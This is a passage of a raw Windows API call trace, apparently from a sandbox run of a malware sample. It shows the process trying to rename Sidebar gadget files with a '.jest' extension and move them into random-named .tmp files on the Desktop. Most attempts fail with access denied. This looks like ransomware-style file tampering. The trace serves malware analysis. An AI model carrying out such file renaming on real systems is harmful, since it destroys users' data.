VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.280] GetFullPathNameA (in: lpFileName="eWutI7P-ut F5tZqcXlrwQoPsmI5GtCTpi xei_X4aYhpl-wHdfqZnq_PVwhp-5mfzzkEQcDrjkXZdhrlKXSI9oBF8Qq6zUncV 7z.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eWutI7P-ut F5tZqcXlrwQoPsmI5GtCTpi xei_X4aYhpl-wHdfqZnq_PVwhp-5mfzzkEQcDrjkXZdhrlKXSI9oBF8Qq6zUncV 7z.tmp", lpFilePart=0x18e708*="eWutI7P-ut F5tZqcXlrwQoPsmI5GtCTpi xei_X4aYhpl-wHdfqZnq_PVwhp-5mfzzkEQcDrjkXZdhrlKXSI9oBF8Qq6zUncV 7z.tmp") returned 0x8f [0126.280] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml", lpFilePart=0x18e708*="gadget.xml") returned 0x4a [0126.281] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eWutI7P-ut F5tZqcXlrwQoPsmI5GtCTpi xei_X4aYhpl-wHdfqZnq_PVwhp-5mfzzkEQcDrjkXZdhrlKXSI9oBF8Qq6zUncV 7z.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ewuti7p-ut f5tzqcxlrwqopsmi5gtctpi xei_x4ayhpl-whdfqznq_pvwhp-5mfzzkeqcdrjkxzdhrlkxsi9obf8qq6zuncv 7z.tmp")) returned 0 [0126.281] GetLastError () returned 0x5 [0126.281] GetLastError () returned 0x5 [0126.281] SetLastError (dwErrCode=0x5) [0126.281] GetLastError () returned 0x5 [0126.281] SetLastError (dwErrCode=0x5) [0126.281] GetLastError () returned 0x5 [0126.281] SetLastError (dwErrCode=0x5) [0126.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.281] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.282] GetFullPathNameA (in: lpFileName="eWutI7P-ut F5tZqcXlrwQoPsmI5GtCTpi xei_X4aYhpl-wHdfqZnq_PVwhp-5mfzzkEQcDrjkXZdhrlKXSI9oBF8Qq6zUncV 7z.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eWutI7P-ut F5tZqcXlrwQoPsmI5GtCTpi xei_X4aYhpl-wHdfqZnq_PVwhp-5mfzzkEQcDrjkXZdhrlKXSI9oBF8Qq6zUncV 7z.tmp", lpFilePart=0x18e6e4*="eWutI7P-ut F5tZqcXlrwQoPsmI5GtCTpi xei_X4aYhpl-wHdfqZnq_PVwhp-5mfzzkEQcDrjkXZdhrlKXSI9oBF8Qq6zUncV 7z.tmp") returned 0x8f [0126.282] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\eWutI7P-ut F5tZqcXlrwQoPsmI5GtCTpi xei_X4aYhpl-wHdfqZnq_PVwhp-5mfzzkEQcDrjkXZdhrlKXSI9oBF8Qq6zUncV 7z.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x74755765, cFileName="I7P-ut F5tZqcXlrwQoPsmI5GtCTpi xei_X4aYhpl-wHdfqZnq_PVwhp-5mfzzkEQcDrjkXZdhrlKXSI9oBF8Qq6zUncV 7z.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.282] GetLastError () returned 0x2 [0126.282] GetLastError () returned 0x2 [0126.282] SetLastError (dwErrCode=0x2) [0126.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.282] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.282] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.283] GetLastError () returned 0x0 [0126.283] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.283] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ŋ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.283] GetLastError () returned 0x0 [0126.283] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.283] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.283] GetTickCount () returned 0x115204d [0126.283] GetTickCount () returned 0x115204d [0126.283] GetTickCount () returned 0x115204d [0126.283] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.283] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.283] GetTickCount () returned 0x115204d [0126.284] IsWindowVisible (hWnd=0x30268) returned 0 [0126.284] Sleep (dwMilliseconds=0x0) [0126.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.288] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.288] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\cpu.css"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\cpu.css.jest")) returned 0 [0126.288] GetLastError () returned 0x5 [0126.288] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴湥唭屓獣屳灣⹵獣s") returned 0x4b [0126.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=75, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0126.288] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴湥唭屓獣屳灣⹵獣s") returned 0x4b [0126.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=76, lpWideCharStr=0x1445ffc, cchWideChar=151 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css") returned 76 [0126.288] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴湥唭屓獣屳灣⹵獣⹳敪瑳") returned 0x50 [0126.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=80, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0126.289] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴湥唭屓獣屳灣⹵獣⹳敪瑳") returned 0x50 [0126.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=81, lpWideCharStr=0x14cf24c, cchWideChar=161 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css.jest") returned 81 [0126.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css", lpUsedDefaultChar=0x0) returned 76 [0126.289] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css", lpFilePart=0x18e6d8*="cpu.css") returned 0x4b [0126.289] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x57, dwReserved1=0x0, cFileName="cpu.css", cAlternateFileName="")) returned 0x143ce48 [0126.289] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.289] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.289] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.289] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x9a)) [0126.289] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0x9a)) [0126.289] GetUserDefaultLCID () returned 0x409 [0126.289] VarBstrFromR4 (in: fltIn=0x47944514, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.16") returned 0x0 [0126.290] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="Ä") returned 1 [0126.290] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.290] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.290] GetTickCount () returned 0x115204d [0126.290] GetTickCount () returned 0x115204d [0126.290] GetTickCount () returned 0x115204d [0126.290] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.290] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.290] GetTickCount () returned 0x115204d [0126.290] IsWindowVisible (hWnd=0x30268) returned 0 [0126.290] Sleep (dwMilliseconds=0x0) [0126.295] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0126.295] GetFullPathNameA (in: lpFileName="zdFnyY9NwHKRnKZLgVCWH5RBUUcAVE8jinv8PftTrVa UM37idoaGWBw29al7JZQjR-6Emj5eEGt9eeOFdnGHqhya24-StDLiDWb8.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zdFnyY9NwHKRnKZLgVCWH5RBUUcAVE8jinv8PftTrVa UM37idoaGWBw29al7JZQjR-6Emj5eEGt9eeOFdnGHqhya24-StDLiDWb8.tmp", lpFilePart=0x18e708*="zdFnyY9NwHKRnKZLgVCWH5RBUUcAVE8jinv8PftTrVa UM37idoaGWBw29al7JZQjR-6Emj5eEGt9eeOFdnGHqhya24-StDLiDWb8.tmp") returned 0x8f [0126.295] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css", lpFilePart=0x18e708*="cpu.css") returned 0x4b [0126.295] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\cpu.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zdFnyY9NwHKRnKZLgVCWH5RBUUcAVE8jinv8PftTrVa UM37idoaGWBw29al7JZQjR-6Emj5eEGt9eeOFdnGHqhya24-StDLiDWb8.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zdfnyy9nwhkrnkzlgvcwh5rbuucave8jinv8pfttrva um37idoagwbw29al7jzqjr-6emj5eegt9eeofdnghqhya24-stdlidwb8.tmp")) returned 0 [0126.295] GetLastError () returned 0x5 [0126.296] GetLastError () returned 0x5 [0126.296] SetLastError (dwErrCode=0x5) [0126.296] GetLastError () returned 0x5 [0126.296] SetLastError (dwErrCode=0x5) [0126.296] GetLastError () returned 0x5 [0126.296] SetLastError (dwErrCode=0x5) [0126.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.296] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0126.296] GetFullPathNameA (in: lpFileName="zdFnyY9NwHKRnKZLgVCWH5RBUUcAVE8jinv8PftTrVa UM37idoaGWBw29al7JZQjR-6Emj5eEGt9eeOFdnGHqhya24-StDLiDWb8.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zdFnyY9NwHKRnKZLgVCWH5RBUUcAVE8jinv8PftTrVa UM37idoaGWBw29al7JZQjR-6Emj5eEGt9eeOFdnGHqhya24-StDLiDWb8.tmp", lpFilePart=0x18e6e4*="zdFnyY9NwHKRnKZLgVCWH5RBUUcAVE8jinv8PftTrVa UM37idoaGWBw29al7JZQjR-6Emj5eEGt9eeOFdnGHqhya24-StDLiDWb8.tmp") returned 0x8f [0126.297] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zdFnyY9NwHKRnKZLgVCWH5RBUUcAVE8jinv8PftTrVa UM37idoaGWBw29al7JZQjR-6Emj5eEGt9eeOFdnGHqhya24-StDLiDWb8.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6e46647a, cFileName="yY9NwHKRnKZLgVCWH5RBUUcAVE8jinv8PftTrVa UM37idoaGWBw29al7JZQjR-6Emj5eEGt9eeOFdnGHqhya24-StDLiDWb8.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0126.297] GetLastError () returned 0x2 [0126.297] GetLastError () returned 0x2 [0126.297] SetLastError (dwErrCode=0x2) [0126.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.297] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0126.297] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.297] GetLastError () returned 0x0 [0126.297] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.298] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ō", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0126.298] GetLastError () returned 0x0 [0126.298] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0126.298] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0126.298] GetTickCount () returned 0x115205d [0126.298] GetTickCount () returned 0x115205d [0126.298] GetTickCount () returned 0x115205d [0126.298] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.298] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0126.299] GetTickCount () returned 0x115205d [0126.299] IsWindowVisible (hWnd=0x30268) returned 0 [0126.299] Sleep (dwMilliseconds=0x0) [0126.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0126.312] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0126.312] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0126.312] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\back.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\cpu.gadget\\images\\back.png.jest")) returned 0 [0126.315] GetLastError () returned 0x5 [0126.315] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥扜捡⹫湰g") returned 0x49 [0126.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=73, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0126.315] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥扜捡⹫湰g") returned 0x49 [0126.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x144bb04, cbMultiByte=74, lpWideCharStr=0x14cf24c, cchWideChar=147 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png") returned 74 [0126.315] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥扜捡⹫湰⹧敪瑳") returned 0x4e [0126.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=78, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0126.315] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜啐䜮摡敧屴浩条獥扜捡⹫湰⹧敪瑳") returned 0x4e [0126.315] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=79, lpWideCharStr=0x144eaec, cchWideChar=157 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png.jest") returned 79 [0126.315] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png", lpUsedDefaultChar=0x0) returned 74 [0126.315] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png", lpFilePart=0x18e6d8*="back.png") returned 0x49 [0126.316] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\back.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb950e673, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb950e673, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb7c4b8bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x42e6, dwReserved0=0x57, dwReserved1=0x0, cFileName="back.png", cAlternateFileName="")) returned 0x143ce48 [0126.316] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0126.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0126.319] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0126.319] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xb9)) [0126.319] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xe, wMilliseconds=0xb9)) [0126.319] GetUserDefaultLCID () returned 0x409 [0126.319] VarBstrFromR4 (in: fltIn=0x47944518, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.19") returned 0x0 [0126.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="Ä") returned 1 [0126.319] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0126.320] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0126.320] GetTickCount () returned 0x115206d [0126.320] GetTickCount () returned 0x115206d [0126.320] GetTickCount () returned 0x115206d [0126.320] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0126.320] HeapFree (in: hHeap=0x3820000, 